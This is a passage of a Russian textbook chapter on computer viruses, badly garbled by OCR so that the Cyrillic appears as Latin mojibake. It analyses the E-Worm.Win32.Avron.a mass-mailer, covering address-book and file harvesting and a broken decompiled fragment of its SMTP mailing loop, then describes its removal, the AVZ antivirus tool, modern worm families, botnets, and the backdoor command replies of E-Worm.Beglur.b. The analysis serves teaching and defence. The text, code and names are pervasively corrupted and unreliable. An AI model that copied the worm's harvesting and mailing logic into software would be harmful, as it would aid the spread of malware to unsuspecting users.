y6npaH H3 PeecTpa CTpoMKy aBT03anycKa, OHa Kaxcabifi pa3 6 yaeT noaB- 
JIHTbCH BHOBb.

6.72.4. IIouck adpecoe
3jieicrpoHHbie aapeca, Ha KOTOpbie nJiaHiipyeTca caMopaccbMKa, nepBb 

HepnaeT H3 aB yx  h c t o h h h k o b .

Bo-nepBfaix, oh b bctbh Peecrpa «  H  KC U\Softw are\M icrosoft\W AB\  

W ab  File Narne» nbrraeTca o6napy>KPiTb nyn> k aapecHoii KHHre TeKyme- 
ro nojiMOBaTe.ra. Ecjih WAB-c{)aHJi o6HapyjKen, nepBb H3BJieKaeT H3 Hero 

ajieKTpoHHbie aapeca a60HeHT0B. KcTaTH, b onepaiinonHHX CHCTeMax, Ha- 
HHHaa c W indow s XP, iickomhc CBeaeHira o WAB-<f)aHJie pacnojioaceHhi 
HeMHOjKKO b apyroM MecTe, TaK hto flaHHbrii ajiropHTM ycnexoM He yBeH- 
HaeTca.

Bo-BTopwx, nepBb peKypcHBHO CKaHHpyeT KaTaaora Bcex aocTyriHbix  

AHCKob, ocTanaBjiHBaa CBoe BHHMaHHe Ha cj)aHJiax c paciiiHpennHMH  

« .D B X » ,  « .H T M » ,  « .E M L »  h nponnx. B  hh x h iu jt c h  a.!i4>aBHTH0 -ijH 4 )p0 - 

Bbie <J>parMeHTM c chmbojiom b  cepeaHHe -  ohh  c'lHTaioTcn aapecaMH  

a60HeHT0B.
Bee HanaeiiHbie aapeca 3anHCHBaioTca b 4>aiiji «L IS T R E C P .D L L » .

6.72.5. PacnpocmpaHenue no snexmpoHuou nonme
IlHCbM a C BIipyCHbIM BJIO>KeHIieM pacnpOCTpaHKIOTCR B OeCKOHeHHOM 

UHKae n p a  noM om H  OT/iejii>Horo noTOKa. TaK KaK paccu.UKa noHTbi 3anyc- 

KaeTca ao noncKa aapecoB, to :

O  n 0T0 K paccbi.'iKH nepea HanaaoM pa 6 oTbi aaaepyKHBaercn Ha 7 ce- 

KVHa;



O  AJIH CHHXpOHH3amni HCnOJIb3yeTCH MeXaHH3M «KpiITHMeCKHX CeK- 

UHH».

void StartAddress(LPVOID a1) { 
struct hostent *v1;
char // Ta6nnua aflpecoB npe^MKCOB
char a[ji // Crpoxa OMepeflHoro aapeca
Sleep(0x1B58); // SafiepxKa Ha 7000 mc
while ( 1 ) {

do {
EnterCriticalSection(&CriticalSection);
LeaveCriticalSecticn(&CriticalSection);

) w h ile  ( found > s e n t ) ; / /  IlOKa He noPBMTCfl hobm*  aapec
EnterCnticalSection(&CriticalSection);
strcpy(a, adresses[sent++]}; // npomuaTb h o b h & aapec
LeaveCriticalSectionf&CrrticalSection);

suD_8uildN(a); // CreHepMposaTb mmh cepBepa n -> "sn"
while ( *at ) { // Aapec TaSflwuw npeijwKcos

sprintf(na*e, "#s*s", *v2, sn); // CreHepupoeaTb eapnaHT wieHn cepsepa
vi = sub_TryConn(name); // nonbiTaTbCH nofiK/noHMTbCH k cepsepy
++at;
if ( v 1 ) sub_SendMail(a); /'/' Cepeep otbstwi - noc.naib nucbMO

>
i

HxaK, ii3  4>afiJia «LISTRECP.DLL» CHHTWBaeTCH OHepeAHOH aapec, 

h  ero  rrpaBan Hacn>, pacnoJioKeHHan nocjie CHMBOJia « @ » .  Hcnojib3yeT- 

ch a jih  <|x)pMHpoBaHiiH 1'nnoTeTiiMecKoro HMeHH no^TOBoro cepBepa. 

H anp iiM ep , H3 aApeca « masha-vesnushkina@rambler.ru »  npn noMouiH  

pa3JiHHHHX npe(J)HKC0B nojiynaTCH ABa BapnaHTa HMeHH cepBepa: mail, 
rambler.m h  smro.rambler.ru. /lajiee npw noMouiH chctcm hoh (Jwhkhhm  

«gethostbyname»- np0H3B0AHTCH nonuTKa onpeAejiHTb IP-aApec cepBe
pa, h  ecjiH OHa yAanHa, t o  qepBb coeAHHHeTch c sthm  cepBepoM h  n o c u -  
JiaeT Ha H ero ajieKTpoHHoe iihcbmo no npocTOMy npoTOKOjiy SMTP, He 

Tpe6 yiom eM y ayTeHTHt^HKaniiH.

B03M0JKHbI pa3JIHMHbie BapH3HTbI 0praHH3aUHH nHCbMa. BnaCTHOCTH, 
HepBb cJij'HaifHbiM 06pa30M -  H3 6o jib iuoro  cnncKa -  Bbi6npaeT 3ar0Ji0B0K, 

Tejio nncbMa, o6paTHbift aApec, hmh <$zuaa b/ iokchhh ii t. n. He 6pe3ryeT 
oh  h  ajieMeHTaMH couHajibHofi HHJKeHepmi: cnocoSeH  npoHHTaTb b  bctb ii  

PeecTpa «H K L M \ S o ftw a re \ M ic ro s o ft\ W in d o w s \ C u r re n tV e rs io n »  hmh 

n0.ib30BaTe.TH sapajKeHHofi MamiiHbi (k jik )4  «  R egistered O w n e r s )  h  BCTa- 

BHTb ero B TeKCT nHCbMa.
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6.7.3 . MeTOflbi yaajneHMfl
AH3J1H3 «BHVTpeHHOCTeH» MepBH E-Worm.Win32.Avron.a noKaaaji, h to  

enpaBHTbeH c hiim 0 'ienb JierKO. YAaJiuxb ero c. KOMnbiOTepa mojkho 6yK-

mailto:masha-vesnushkina@rambler.ru
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BajibHO «rojii.iMH pyKa.MM». Kpo\ie Toro, 3HaHHH h yMeHHH, noJiyneHHUx 

MHTaxeiieM k 3TOMy MOMemy, BiioJiHe xbstht, mto6h caMocTOHTe.nbHO 

HarmcaTb Hec.?io>KHyio aHTHBHpyaayio nporpaMMy. Il0CJiefl0BaTejibH0CTb 

fleiicTBHH npHMepHO TaKOBa:
O  npe^BapHTejibHO raynHTb k o^  h  B u 6 paTb CHinaTypy, HanpHMep 

8  6 aiiTOB 4 7 5  2 C  2 A  65 07 B A  37 6 C » ,  pacnojio^ceHHbix no  4>aH^o- 

BOMy CMemeHHio lOOOh1;

O  nepeHHc;iHTb Bee nponeccbi b  naMHTH (b  W in d o w s  9 X  np n  no- 

mouih «P ro c e ss3 2 F irst»/ »P ro c e ss3 2 N e x t> , a b  W in d o w s  N T  npn  

noMomH <<Zw Q uerySyst.em Inform ation*), conocTaBHTb KaacflOMy 

H3 HHX (})aHJI, H3 K0T0p 0r 0 OH CTapTOBaJI, H, nOJIb3y«Cb MCTO/IOM 

cpaBHeHHH curHaTyp, onpeae.TOTb t o t  npouecc, KOTopbiH co o tbc t -  

cTByer HepBio;

O  npiiHyflHTejibHO 3aBepuiHTb s to t  riponecc (tcxhhkv 3aBepiue- 
hhh npome Bcero iio/jcMOTpeTb y caMoro nepBH Worin.Win32. 
Avron.a);

O  npocKaHHpoBaTb Bee k jik m h  b  BeTBH «  H  K  L  M  \S  o ftw  a re\ .. R un  », 

conocTaBHTb Kaac^oMy KJirouy 3anycicaeMbiH n p a  noM om n Hero 

nporpaMMHbiii (jsaH.i h , r:ojib3yacb M eiofloM  cpaBHeHHH curHaTyp, 

onpe/ieJiHTb t o t  kh io h , k o t o p u n  cooTBeTCTByeT nepBio;

O  yaaJiHTb 3T0T kjhoh ;

O  naKOHen, npocKaHHpoBaTb Bee a h c k h  (npeac^e Bcero C : )  h  yaajiHTb  

Bee nporpaMMHbie <})aftjibi, ciiraaTypa KOTopwx coBna/iaer c c iiraa -  

Typoft 'lepBH;

O  Hanoc.fieaoK yflajiHTb 4>aiiJibi « N E W B O O T S Y S »  h  « L IS T R E C P .  

D L L » .
Ilp H  HanHcaHHH TaKoro aHTHBHpyca npnaeTCH pernaTb pn;i ran oB b ix  

3aaan -  peKypcHBHbift o 6 xofl KaTajioroB, CKamipoBaHiie naMHTH, p a 6 oTa 

c PeecTpoM , noiiCK curH aTyp b  (J>aHJiax h t. n. HHTepecHo, mto cym ecT- 

ByioT aHTHBnpycM-«nojiyaBTOMaTbi>>, KOTopbie peajiH3yioT n o a o 6 Hwe  

3aflanH b BH^e nporpaM M Hbix « k v 6 h k o b »  h  npeflocTaBJinioT n0Jib30Ba- 

TCJIIO B03M0aCH0CTb CaMOCTOHTeJIbHO CKOMnJieKTOBaTb H3 HHX Haoop  

aH TH BiipycH ux n p on e^yp  ansi KOHKpeTHoro BHpyca. B  1990-x ro,aax Ta- 

khm h «nojiyaBTOMaTaMH* o b in u  M u lt iS c a n  B. KoiiecHiiKOBa h A V S P  A. 
BopH coBa, a b  anoxy ceTeBbix qepBeti h TpoancKHX nporpaM M  uiHpoKyio  

H3BecTHocTb no.’iyHH.rj o>ienb y ;io 6 (ibiH aHTHBHpyc A Y 'Z  O . 3anueB a (cm. 
pu c. 6 .23 ).

1 B T O ' iK e  B x o a a  c i i r n a T y p y  B h [ 6 n p a T h  H e a b a n ,  t s k  k h k  ((mil y n a K O B a n  h  na'ia;io 
K o a a  3 a B e f lO M O  n p u H a H J i e a a r r  p a c n a K O B i H i i K y ,
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3tO Ha6op MOIUHMX aHTHBHpyCHblX HHCTpyMeHTOB, o6te/lHHeHHbIX 

no/i Kpbnueft o^hoh yTH.raTbi. O h  ri03B0.raeT npocKamipoBaTb ahckh, na- 
MflTb H KOHcjDMrypaUHOHHbie 4>aftjlbl KOMnbiOTepa KaK B aBTOMaTHHeCKOM 

peatHMe -  o6pam aa BHHMaHHe Ha rootkit-MexaHH3Mbi h Jiio6bie no^oapH- 
TejibHbie (J)aHJibi, npoueccbi h kjiiomh, TaK h  b pe>KHMe «no/ryaBTOMaTa», 
Korjia KpHTepHH -«3Ji0Bpe^H0CTii» h  npaBiuia Hdje.iieHHa 3a;jaroTca noJib- 
30BaTe;ieM b b u m  ciienapneB Ha BCTpoeHHOM ckphiitobom HSbiKe.

VTM/lHTd A \'Z DDE
CepeHC AVZGuard AVZPM Cnpawca

3anyCTMTb CKaHMpOBflHHe

n ay ja  B OCdHMpOMHMH 

OCTaHOSHTb CKSt+pOMHtie

Uccnê oeahMe cmctw«  
6occT«HceflemB CMrrettJ 
Pesepenoe KonHpoeame 
PeeMjop
Marrep noHaca m ycrpanem n  rpo6/»«

CTSnaapT>«e CKpMTTTb)

06HoeneHhe 6a3

(IpocMOTp criHaca noAoapMTenbHboc ofivocroe 

CoxpaHMTb nporoKon 

OHMCTMTb npOTOKOfl

erpbinoMCKa | - MeTooHKG zieueHMfl--------------------------------- -
□  Bwno/iHflTb neMGHwe.
Bmplicw; Haô flTb y/

ActvWore; Una/i sub y/

Sov/Spvw&re: Haa/isiTb y/

Dioler>PomWare: HaojiflTt y/

HackTool: TonbKo orMST V

RiskWare: TO/ibKO OTMeT >/

0  3BDHCTM<-tecKoe unoneHne djotf noa
□  KonwpoBQTb yiionfleMue (fjofinu b Infected
□  KonnpoeaTb noao3pMTenbHue b kopohtmh

O  nycx | [ 0  Playaa j [ O  Oran ]

Pm c . 6 .2 3  ❖ AHTHBHpyc AVZ

C k p h iit  jxjisi noncKa h  y;iaJieHHfl nepBh Worm.Win32.Avron.a np ii- 

Bezien b  npHJioJKeHHii.

6 .8 . CoBpeMeHHbie ceTeBbie Bupycbi 
m nepBn

M3eevHou u 3Jioeeuifiu Meumou eupycoe xejuiem - 
cn aScojimmnoe M upoeoe locnodcrm o...

A. k  B. CrpyrauKHe. «CKa3Ka o TpoftKe»

Hthk. nepBbie nonbiTKH BHpycoB KonnpoBaTb ce6a no ceTHM. oTHocamne- 
ch k 1 9 9 8 -1 9 9 9  roflaM, n  p o n e m o h c r  p h  p o b a .mi B03Mo>KHocTb h  3(^(J>eK- 
TiiBnocTb no^ooHoro Mero^a pa3MHo>KeHiw. Py6e>K AByx bckob (19 99  

2001 roflbi) 6h ji nepeccHen noa 3H3kom 6opb6bi c MHoroHHCJienHbiMH 

IipHMHTHBHblMH IIOMTOBhlMH ‘fepBHMH. IianilCaHHblMH Ha CKpHIITOBblX 

H3biKax (nanpiiMep, na VBA h VBS). TaKiie nepBii. KaK Macro.Word97.
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Melissa, E-Worm.VBS.Freelinks, E-Worm. VBS. BubbleBoy, E-Worm. 
VBS.LoveLetter, E-Worm.VBS.Lee, E-Worm.VBS.NewLove, 
E-Worm.VBS.Stages, E-Worm.VBS.Timofonica h npoMne, pacnpo- 
CTpaHajiHCb no Mupy b flecjmcax h cothhx th c o t  koiihh. J\m HairacaHiia 

hoao6hmx caMopa3MHoacaioiuHXCH nporpaMM He Tpe6oBajiocb CKOJib- 
HHOyflb BblCOKOH KB3JIH(J)IIKaUHH, a K yCJiyraM HHflHBHAyyMOB, BOOOme 

He vmcbilihx nporpaMMiipoBarb, ho acejiaiouiHX BmicaTb CBoe hmh b hcto- 
pHK), HMejTHCb HeCKOJIbKO fleCHTKOB «reHepaTOpOB». IlpHMepHO B 3TO ace 

BpeMH 6biJia o6napy>KeHa VH3BHM0CTb M S O 1 -0 2 0 . KOTOpaH iio/iBHr.ra bh- 
pycomicaTejieft Ha cMeHy npHopHTeTOB: noHTOBbie HepBH 2 0 0 2 - 2 0 0 4  ro- 
Aob CTajiH co3/iaBaTbCH Ha KOMmiJiHpyeMbix H3MKax nporpaMMHpoBa- 
hhh -  C/C++, Pascal. Visual Basic ii t. n., a #jih pa3MHoaceHHH CHanajia 

ncn0.nb30Ba./incb cpeflOTBa MAPI (b  TaKHx nepBHx, KaK E-Worm.Win32. 
Navidad, E-Worm.Win32.Thonic, E-Worm.WIn32.Roron h t. ii.), a 3a- 
TeM h npaMoe coeziHueHHe c iiohtobmm cepBepoM no np0T0K0jiy SMTP 
('jepBH E-Worm.Win32.Avron, E-Worm.Aliz, E-Worm.Swen, E-Worm. 
Klez, E-Worm.Win32.Mimail, E-Worm.Win32.NetSky, Email-Worm. 
Wm32.Sobig h t. n.). «CortHaJibHa>i HH>KeHepH5i» Toace pacuBe/ra b sth  

ro/ibi: 3HaHHTejibHaH uacTb BiipyeoB He HcnojibaoBa.ia HHKaKHX «£bip», 
a npocTo pacnpocTpaHH^acb b BH/ie nporpaMMHbix c^aii.noB, cHa6aceHHbix 

aaBJicKaTejibHbiM TeKCTOM 3JieKTpoHHoro niicbMa. iio cbohm MacuiTa- 
6aM noHTOBbie smifleMHH 2 0 0 2 - 2 0 0 4  roaoB, noacajiyft, npeBocxoflH.iH 

annaeMHH VBS-'iepBen nauajia BeKa. AnocJ)e030M 3Toro axana Hc.Topnn 
ceTeBOH 3apa3W c,Ta;ia Kpynnaa annzieMHH uepBH E-Worm.Mydoom 3H- 
MoS-BecHoit 2 0 0 4  rozia. O/maKo k stomv BpeMeun 3aK0HMHji0Cb MaccoBoe 

ncn0/ib30BaHHe onepamioHHbix chctcm Windows 9X c «;ibipHBbiM» no- 
HTOBblM KJlHeHTOM Outlook, a BMeCTe C HHMH nOTHXOHbKy VTaCJIH H Kpyn- 
Hbie noMTOBbie ann/ieMim. HeT, paccbuiKa BHpycoB 4epe3 a.TOKTpoHHyio 

noMTy He HC*ie3Jia 113 apcena.ia BnpycoriHcaxejieH, ho rjio&ajibHbix ri04T0- 
b h x  snuaeMHH 6ojibine He Haoiuo/ia.TOCb. TeM He MeHee 2 0 0 2 - 2 0 0 4  roflu  

qaiue Bcero BcnoMiiHaiOTCH KaK anoxa CTpeMHTe.ibHbix h oouiHpHeHiiiMX 
annzieMHH nepBen, Hcnojib3yiomHX una CBoero pacnpocxpaiieHHfl He 
3JieKTpouHVH3 iioHTV, a «abipbi> b ceTeBbix KOMnoHeHTax onepaqnoHHbix 

cHCTeM. 4epBH Net-Worm.CodeRed, Net-Worm.Slammer, Net-Worm. 
Lovesan, Net-Worm.Sasser ii t. n., 3apaacan mhjuihohm KOMnbioTepoB, 
oyKBaJibHo noTpacajin MuTepHeT, npiiBOfla k neperpy3K3M ceTeBbix cer
MeHTOB, MaCCOBbIM OTKJHOHeHHHM cepBepoB H t. n.

M npoBoe KOMnbioTepnoe coo6mecTBo ne Morno He OTpearapoBaTb Ha 

BM30B co CTopoHbi BMpycomicaTe.ieii. HcnpaBjmjiHc'b ouih6kh b ripo- 
rpaMMHOM o&ecneueniin, coBepuieiicTBOBajmcb anropiiTMbi ceTeBbix npo-
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tokojiob. BpaHflMayap CTaJi o6a3aTejibHMM aTpn6yTOM Jno6oro KOMntio- 
Tepa, noflKJHoneHHoro k cera. ITojihuhh pa3Hbix cTpaH, KOop^HHHpya 

coBMecTHMe fleficTBhh, pa3o6;iaMHjra h apecTOBaJia HecKOJibKHX aKTHB- 
Hbix BHpyconifcaTejieii.

H  b  2 0 0 4 -2 0 0 5  ro ^ a x  33kohmhjich «poMaHTHMecKHH» 3Tan b  h c to -  
pHH KOMiibK)TepHOH BHpycojiorHH. C03flaHHe «KOHKypeHTocnoco6Hbix>  

BHpycoB, pacnpocTpaH eH He h x  h 3aM6Tanne cjje/iOB oKa3ajiocb 6oJibiire 

He n o a  CHJiy h ccto jik ^h bm m  xyjiHraHaM-oflHHCWKaM, onpeaeJWBiiiHM  

^BHpycHyio noro/jy» b  TeMCHHe noMTH /ibvx flecHTHJieTHH. 3aM0JiKJia Ha 

HecKOJibKO JieT, a noTOM (b  2007  rony ) 3aaBH.ua o cBoeM caMopocnycKe  

3HaMeHHTaH rpyimnpoBKa BHpycomicaTeJien « 2 9 A k  DiyGoraie nccjie- 

flOBaHHH CBOHCTB OIlepaiJ,HOHHbIX CHCTeM, HanHCaHHe BMCOKOCJIO>KHfeIX 

6n6jIHOTeK, aHOHHMHOCTb B MHTepHeTe CTaJIH HeB03M0>KHbI 6e3 «npo- 
4>eccHOHa.fibHoro» no/txo;ia, 6e3 bjiojkchhh « b  Te.MV» He.viaJibix aeHOKHbix 

CpeflCTB. 3aHHMaTbCH BlipyCOnHCaTejIbCTBOM CTaJIO B03M05KHHM TOJibKO 

b tom  cjiynae, ec jm  o h o  npHHociiT n o x o a .

TaK BHpyconncaTejibCTBO npeBpaTH.'iocb b 6n3fiec h  HeMHHyeMo Kpn- 
MHHaJIH3HpOBaJIOCb.

CoBpeMCHHWH CeTeBOH HJIH nOMTOBblH MepBb -  3TO He npOCTO caMO- 
pa3MHoacaK>maac}i nporpaMMKa, npe/maaHaMeHHaa /uia aeMOHCTpamm  

«KpyTOCTH» aBTOpa. 3 t0  CJIOJKHMH, MH0r0(})yHKL[H0HajIbHbffl KOMIUieKC, 
CJiy»CamHH Cpe/JCTBOM ^OCTaBKH Ha 3apa*eHHMH KOMnblOTep TpOHHCKHX 

nporpaMM h K0Mn0HeHT0B. Cpezui oco6eHHocTeH coBpeMenHbix MepBeft 

MOJKHO BhWeJIHTb CJieflVKMUHe.

6.8.1. MoAYJibHoe nocTpoeHwe
CoBpeMeHHbie MepBH cjiojkhm no cBoeii cTpyKType h Hcnojib3yioT «mo- 
flyjibHhiH» npiiHunn nocrpoeHHa. 3 to  oaHaqaex, mto BiipyconHcaTejib 
HMeeT b cBoeM pacnopaaceHHH 6n6jiH0TeKy H3 MHO>KecTBa -«Ky6HKOB», 
npe/ma3HaMeHHbix nn x  peweHHH runoBbix aajiaM. HanpHMep «paccbui- 
Ka shell-Koaa», <<pacnpocTpaHeHHe no noHTe», «ycTanoBKa b cncTeMe», 
«o6ecneMeHHe hcbhzihmocth*, «nojmMoprj:)H3M»- h t. n., npiraeM Kaacflbift 
«K yO H K » H3r0T0BJieH B BHfle HeCKO.'IbKHX aJIbTepHaTHBHblX BapHaHTOB. 
IIpii reiiepamiH Hcxo/iHoro TeKCTa sth  «Ky6iiKH» mojkho b aBTOMaTH- 
3iip0BaHH0M pe>KHMe BapbHpoBaTb h  nepecTaBJiHTb MecTaMH. /Io6aBbTe 

k  3T0My Hcn0Jib30BaHHe pa.viiwHbix ynaKOBiniiKOB THna U P X ,  A s  Pack , 

Y o d a  h t. n., a to  h HecKOJibKHX cpa3y, -  h bw iiojivmhtc cothh ii thchmh 

pa3H0BH4H0CTeH o/iHoro h Toro ace MepBa. H x  mojkho crenepHpoBaTb 3a 

5 ceKyii/i, a n0T0M BbinycKaTb b  HHTepueT b TCHeiiiie HecKOJibKHX He/iejib 

h MecaiieB no HecKOjibKv uiTyK B Mac c pasiibix xoctob. HanpiiMep, b ru-
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nepTeiccTOBOH «3HUHKJione;jHH K acnepcK oro » 3aperHCTpiipoBanbi cjie- 
TiyroiuHe KojiimecTBa yepBeii (6e3 yyeTa TpoaHCKHx nporpaMM, BXOflamHx 

b  Te ace ceM en cTB a):
O E -W o r m .W a r e z o v  -  1326;
O E -W o r m .B a g le  -  875;
O  E -W o rm .Z h e la t in  ( o h  ace S to rm  W o r m ) -  764;
O  N e t -W o r m .M y t o b  -  720;
O N e t -W o rm .K id o  ( oh  ace C o n f ic k e r ) -  308;
O N e t -W o r m .P a d o b o t  -  239 h  t. n.
Pa3&HpaHca, BHpycojior, ec/m xepneHHa x b 3t h t !
KpoM e Toro, MoayjibHocTb ripoaBJiaeTca eme h  b  tom , mto BpeflOHOCHaa 

nporpaM M a moxcct cocToaTb H3 necKOJibKnx (jiam oB , Kaacflbifi 113 k o to -  
pbix npeflHa3HaHeH /m a  peiueHHa KaKoii-im6y;ih OTjiejihiioii 3'd/iami.

6.8.2. MHOJKecTBeHHOCTb cnoco6oB pacripocTpaHeHiisi
CoBpeMeHHbie nepBH ncnojib3yioT cpa3y HecKOJibKO cnoco6oB pacnpo- 
CTpaHeHiia. HanpHM ep, b o t  (J>parMeHTbi on u cam ia  He c jih u ik o m  H3BecT- 
H oro ( jicto 2004 r.), ho  oMenb xapaKTepHoro nepBa N e t -W o rm .K ib u v .b :  

B u Q u p a n  npom BojibHbte IP-a/xpeca, cK anupyeT c e m  na H a n m n e  na  
yAaneHHOM KOMnbK)Tepeya3BMMOCTeM b R P C , L S A S S , U S 5 .0 w cep B !A - 
c e  coo6meHHM. flpo B ep a e Tn a  5 5 5 4  n o p r y  H a fim u e  FTP -K O M n o H e H m  
nepbo Sasser. Ta/otce n p o a e p n e r H a m m e  backdoor-KOM noneHTbi o r  
c e re B o ro  nepBft Bagle.
f lp n  H a xo H m e n m  noffo6Horo KOMnbiOTepa nepBb o rcb in a e r Ha Hero  
COOTBeTCTByiOmilH SKcnnouT...
HepBb 3axoflMT Ha IR C -c e p B e p ... TaioKe p a ccb u ia e r BceM BHOBb b o -  
tneAiUMM ccbinicy na ce6n...

O ieH b pa3Hoo6pa3Ho pa3MH03KajiHCb nepBH ceMeiicTBa N e t -W o r m .  

W a re z o v . Bbi.nii BepcHH (HanpHMep, N e t -W o r m .W a re z o v .o i ) ,  KOTOpbie 

pacnpocTpanajnicb Tojibico c Hcn0Jib30BaHHeM npoTOKOJioB ICQ. He- 
cKo.nbKo aecHTKOB BepcHH, no;io6Hbix N e t -W o rm .W a re z o v .n f ,  nojib- 

30BaJiHCb ycjiyraMH s.jicktpohhoh itomtm, ho pacnpocTpaHH.'m He ce6a, 

a rpoaHCKjTO nporpaMMy, koto pan, ()y jiy xm  3anymeHa, 3arpy»cajia na 3a- 
pajKeHHbiH K0Mnbi0Tep c caiiTa-riocpe/iHHKa pa.'sjiMWbie BpeaoHOCHbie 

KGMnoHeHTbi, b tom MHCjre ii caM oro 4epB« N e t -W o rm .W a re z o v .n f.  B  to  

ace BpeMH BepcHH N e t -W o rm .W a re z o v .b w  npeziCTaB.riH.rta coooh  caMoro 

oSbW Horo noHTOBoro nepsa, paccbuiarouteroca no BceM HaiiaeHHbiM Ha 

OTCKe 3./ieKTpoHHb.tM aapecaM.
A b o t  qepBH ceMencTBa N e t -W o rm .K id o  (o h  m ‘ C o n f ic k e r ) pac- 

npocTpanaj'm cb KaK no JioKa/jbHoif cera , TaK ji >iepe3 «(jwi3iiiKii» ( s t o t
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bh/i cJ)aiiJioBMX nepBeft 6bi.n yace ynoMHHyr hsm h b  rjiaBe, iTOCBameHHOH 

W in 3 2 -B H p y caM ).
TaKHM 06pa30M, o t  TiirniHHoro coBpeMeHHoro nepaa  Tpyano y6epeHb- 

CH, 3aKpMB KaKOH-HH6yab OffKH nopT  HJIH IlOCTaBHB ozihv «3an jiaTK y». 
CoBpeM eHHM e «M H 02oeeK rnopH bie » ceTeBbie HepBH pa3MHoacaK>TCH no<m- 

me «K ypiiH oro »- h jih  «c B iin o ro »  rpH nna -  cpa3y h  nojioBhiM, h  6biTOBbiM, 

h  B03flyuiH0-KanejibHbiM nyTeM.

6 . 8 . 3 .  5 o p b 6 a  w e p B e f t  c  a H T M B i ip y c a M i i

CoBpeM eHHbie nepBH Hcnojib3yK)T cjioacHeniiiHe MeTO/ibi o6ecneHeHHH  

CBOeH HeBHAHMOCTH H npOTHBOfleHCTBHH HCCJieflOBaHHIO CO CTOpOHbl 

BH pycojioroB . HanpHMep, uepBH pa3H0BHflH0CTeH N e t -W o r m .B a g le .n  h  

N e t -W o r m .B a g le .p ,  KpoMe Toro h to  pacnpocipaH H ioT ce6n no noHTe h 

no  4>aiiJioo6MeHHbiM ceTHM, oncJuonaioT 6oJibiuoe kojihm cctbo aHTHBH- 
pycoB, em e h  yMeioT 3apaacaTb H cno.m aeM H e <J>aHJibi, nojiHMopcJaio b h -  

£ 0 H3 MeHHflCb npH  3tom. A  MepBH N e t -W o m i.Z h e la t in .a  h  N e t -W o r m .  
Z h e la t in .o  He b h a h h  b  naMHTH h  PeecTpe, TaK KaK Hcnojib3yK>T roo tk it - 

TexHo.’io rm i.

CoBpeM eHHbie nepBH He 06H3aTejibH0 CTapaiOTCH noaojib ine npoacHTb 

Ha KOMnbioTepe, ocTaBancb HesaMeienHbiMM. Hepe^KO ohh  nojm ocTbio  

npoaCHBaK)T OTMepeHHblH aBTOpOM CPOK H M I i p H O  CaMOJTfflHTOacaiOTCH, 

ocTaBJiHH nocjie  ceon cjie/ibi TojibKo b  BHfle niraHTCKHX cmctob o t  n p o -  

Baii/iepa xo3HHHy KOMnbiOTepa 3a r a r a 6 aHTbi pa3ocjiaHHoro cnaMa.

6 . 8 . 4 .  Y n p a s i i f i e M O C T b .  B o t h c t u

MHoacecTBo M aunm , 3apa>KeiiHbix coBpeMeHHbiMH nepBHMH, o6pa3yioT  

ynpaBJiHCMyio chctcm v. B npocTeihiieM  cjiynae yepBH caMoyHHHToacaiOT- 

ch nocjie  onpeaejieHHOH aaTbi, KaK, HanpHMep, M Horae pa3H0BH4H0CTii 

ceMeiicTBa N e t -W o r m .B a g le .  b o jie e  «npoaBHHVTbiM ii» hbjihbdtch n o g -  

xoabi, K oraa nepB ii BbinojiHHioT KOMaH/m, jih6o nocTynHBimie H3 eunno- 

ro  neHTpa, jih 6 o  nepeaaHHbie no  nenoHKe o t  ap y ro ii, 3apaaceHHOH TeM ace 

HCpBCM MaiHHHbl (n o  TMXHOJIOZUU P 2 P  ~  «TOHKa-TOHKa»).
/[e.TaeTCH TaKOH ■m pozpaM M Hbiu jik ik *  (h jih  « b a ck d o o r»  -  HepHhiH x o a )  

oneHb npocTo. TIepBb 3anycKaeT o ah h  H3 cbohx  noTOKOB b  BHfle cepBe
pa, CJtyuiaiomero KaKofi-HHoy/ib HencnoJib3yeMbiH nopT, h  H3BJieKaeT 

H3 ripHIHe/IIUHX naKCTOB VCJIOBHbie KOMaHAbi. B  COOTBeTCTBHH C 3THMH 

KOMaHflaMH o h  MoaceT BbinojiHHTb Ha 3apaaceHHOM KOMnbioTepe caMbie 

pa3Hoo6pa3Hbie ach c tbh h . B o t , HanpHMep, ciihcok  KOMan;; h  o tk jihkob , 

HDB.'ie'ieiiHbix ii3 ziaMiia nepBH E -W o rm .B e g lu r .b :



CoepeMeHHbe ceTeBbie BHpycbi h nepBn ❖  459
l4«MTpanM306aMHas paccbim a KOMaHfl Paccbuwa KOMaufi "no nsnosKe*

'Xo 3«m h

o

Pw c. 6 .2 4  ❖  P a 3nnMHue apxmeKTypbi « 6 0 THeT0 B»

# #  Slmt Dtg Sir! # #  YUP! Pwd Plz: Login First! Already! Wait! Master 
pwd chg rqstd. Nw Pwd:/> Pwd Changed! Msg Snt! Fail Snt Msg! File 
Del.! Fail D e i! Dir. Rmv.! Fail Rmv Dir.! Dir Created! Create Dir. Fail! 
Copyfile done! Can't Cpy or fail! Movfile done! Can't Mov or dail! Exec 
Done! Exec Fail! CM D cm d fail! Inv. dir. call or param.! Spec, file not 
found! Invalid Param! File x exist! File Access Error! ShtDwn Ondaway! 
Inv. ShtDwn Param! Svr Off! Unknown cmd!

OneBHflHO, mto aBTop nepBH coonpajica y/iajienno MeHHTb Ha 3apa»eH- 
h o h  MauiHHe napojiH, cosziaBaTb h y^aJiaTb KaTa.iora, KonnpoBaTb cjDaiiJibi, 
3anycKaTb pa3JiHMHbie nporpaM M u, nepe3 arp y*aT b  cncTeMy h nponee.

C o 6cTBeHHO rOBOpa, (JOJlbUIHHCTBO COBpeMeHHbIX H ep B eft  HMeHHO 
O Jih 3Toro h iipe/iHa3Haqeiibi -  zyiH cos/iaHHa orpoMHUX « 30M6n»-ceTeM 

( « 6oTHeTOB>>), COCTOHIUHX H3 3apa»ceHHbIX KOMnblOTepOB, KOTOpUe Bbl- 

nojim noT BHeuiHHe KOMaHflu. H y  He /ijm /typauKHX »ce u iv to k  raria Tex, 

K0T0pbiMH pa3BJieKajincb BHpyconHcaTe.'iH nanajia 1990-x roaoB, BepHo? 

CoBpeMeHHue ceTeBbie BHpycbi n  nepBH npe^e/ibHO ynijiHTapHM. KaK  

•*Becejibie», TaK h «Kou iM apH ue» rrpoflBJieniifl c hx c to p o h u  -  orpoMHaa 

peflKOCTb.
«3 o M 6 n »-c eT ii co3zwk>tch ao jiro  -  nyreM  paccbuiKu b  tc^ch h c  He- 

CKO/IbKHX Heziejlb H MecaHeB MHOrO'IHC.TeHHblX pa3HOBHaHOCTeH KaKO- 

ro-HHov/ib HepBfl -  h coctoh t H3 flecaTKOB h coTeH TbicHli 3apa»ceHHUx  

KOMnblOTepOB. Hepe^Ko ohh  coaepacaT HecKOJibKO CTpyKTypHbix c.ioeB -  

oflHH aaiiHMaeTca peTpaHCJianneH KOMan;i; apyroft nepeKaHHBaeT cnaM, 

